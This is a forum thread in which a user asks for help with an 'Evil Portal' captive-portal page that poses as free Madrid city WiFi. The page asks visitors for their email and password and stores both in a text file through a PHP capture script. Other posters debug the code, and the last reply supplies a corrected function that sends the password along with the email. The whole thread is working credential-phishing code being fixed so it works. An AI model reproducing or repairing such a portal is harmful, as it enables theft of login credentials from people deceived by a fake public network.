Jump to content

Help me with this html code


daniboy92

Recommended Posts

Hi,

I have problems with a html web. I want a html for summit a loggin information with Evil Portal infusion. Now this html can redirect normally but it doesn't save email and password. I think i'm missing something in this code because i don't have many knowledge about html programming... This is my html code:

<html>

<head>
<title>$gatewayname Entry</title>
<meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
<script type="text/javascript">
function ajaxRequest() {
if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
} else {
return false;
}
}
function sendInfo() {
var xmlhttp = new ajaxRequest();
var emailvalue=encodeURIComponent(document.getElementById("email").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
if (emailvalue != null && emailvalue != "") {
var parameters="email="+emailvalue+"&redirect="+redirectvalue;
xmlhttp.open("POST", "http://172.16.42.1:80/capture.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
function sendInfo2() {
var xmlhttp = new ajaxRequest();
var passwordvalue=encodeURIComponent(document.getElementById("password").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
if (passwordvalue != null && passwordvalue != "") {
var parameters="password="+passwordvalue+"&redirect="+redirectvalue;
xmlhttp.open("POST", "http://172.16.42.1:80/capture", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
</script>
</head>
<body>
<center>
<h2>$gatewayname</h2>
<font size="1"><i>Ofrecido para usted por la Ciudad de Madrid</i></font>
<br />
<br />
<p><font size="2">Para hacer uso del servicio necesita suscribirse con un email y una contrase&ntildea.</font></p>
<div id="results"></div>
<form id="emailform" method="POST" action="http://172.16.42.1:80/capture.php">
<table>
<tr>
<td><label>Email</label></td>
<td><input type="text" id="email" name="email" placeholder="Ingrese su email" required />
<td><label>Contrase&ntildea</label></td>
<td><input type="text" id="password" name="password" placeholder="Ingrese su contraseña" required />
</tr>
</table>
<input type="hidden" id="redirect" name="redirect" value="$authtarget" />
<button type="button" onclick="sendInfo();return false;">Ingresar</button>
</form>
<p><font size="1"><i>Su informaci&oacuten no será compartida con terceras partes.</i></font></p>
<p><font size="1"><i>Conectándose y haciendo uso de esta red está aceptando los <a href="#">términos del servicio.</a></i></p>
<img src="images/wifi.png" width="71" height="49" border="0">
</center>
<iframe style="display:none;" src="get"></iframe>
</body>
</html>
this is my capture.php:

<?php

$email = $_POST['email'];
$password = $_POST['password'];
$redirect = $_POST['redirect'];
$file = fopen("evilportalpass.txt", "a");
fwrite($file, $email . " " . $password . "\n");
fclose($file);
echo 'Gracias por elegir $gatewayname <meta http-equiv="refresh" content="2; url=' . $redirect . '" />';
?>
The location for this file is in /www folder. I don't know if its's a code problem or just a location problem from my capture.php.
Hope someone can help me.
Link to comment
Share on other sites

Couple things:

action="http://172.16.42.1:80/capture.php">

You do not need :80 as 80 is the default port for HTTP traffic. you can just have http://172.16.42.1/capture.php

Also you need to concat your strings together:

echo 'Gracias por elegir ' . $gatewayname . ' <meta http-equiv="refresh" content="2; url=' . $redirect . '" />';

And you never initialized $gatewayname. Its value is always null

Link to comment
Share on other sites

Thanks man. Now this two are fixing... And what about this script?

<script type="text/javascript">

function ajaxRequest() {
if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
} else {
return false;
}
}
function sendInfo() {
var xmlhttp = new ajaxRequest();
var emailvalue=encodeURIComponent(document.getElementById("email").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
if (emailvalue != null && emailvalue != "") {
var parameters="email="+emailvalue+"&redirect="+redirectvalue;
xmlhttp.open("POST", "http://172.16.42.1/capture.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
function sendInfo2() {
var xmlhttp = new ajaxRequest();
var passwordvalue=encodeURIComponent(document.getElementById("password").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
if (passwordvalue != null && passwordvalue != "") {
var parameters="password="+passwordvalue+"&redirect="+redirectvalue;
xmlhttp.open("POST", "http://172.16.42.1/capture", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
</script>
I don't know if i am sending and collecting fine the information from that two fields "email" "password.
This is how my web looks:
AduEgSW.jpg
Edited by daniboy92
Link to comment
Share on other sites

I do not have a pineapple to test it on at the moment however it looks fine. If you are having issues open up your developers console on your web browser and see what your javascript errors are

Link to comment
Share on other sites

I'm a little more near from my goal...

With your modifications i get a email and created the file perfectly!!

The only thing i need it's to make this html send the password fields and register in the same txt.... Because the password information it's not sending... I don't know why.

So... there is something wrong in the part of sending password information.

Edited by daniboy92
Link to comment
Share on other sites

function sendInfo() {
      var xmlhttp = new ajaxRequest();
      var emailvalue=encodeURIComponent(document.getElementById("email").value);
      var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
      var passwordvalue=encodeURIComponent(document.getElementById("password").value);
      if (emailvalue != null && emailvalue != "") {
       var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue;
        xmlhttp.open("POST", "http://172.16.42.1:80/capture.php", true);
        xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlhttp.send(parameters);
        document.getElementById("results").innerHTML="&iexclGracias!";
        window.location = document.getElementById("redirect").value;
      } else {
        document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
      }
    }

Replace your sendInfo() function with mine

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...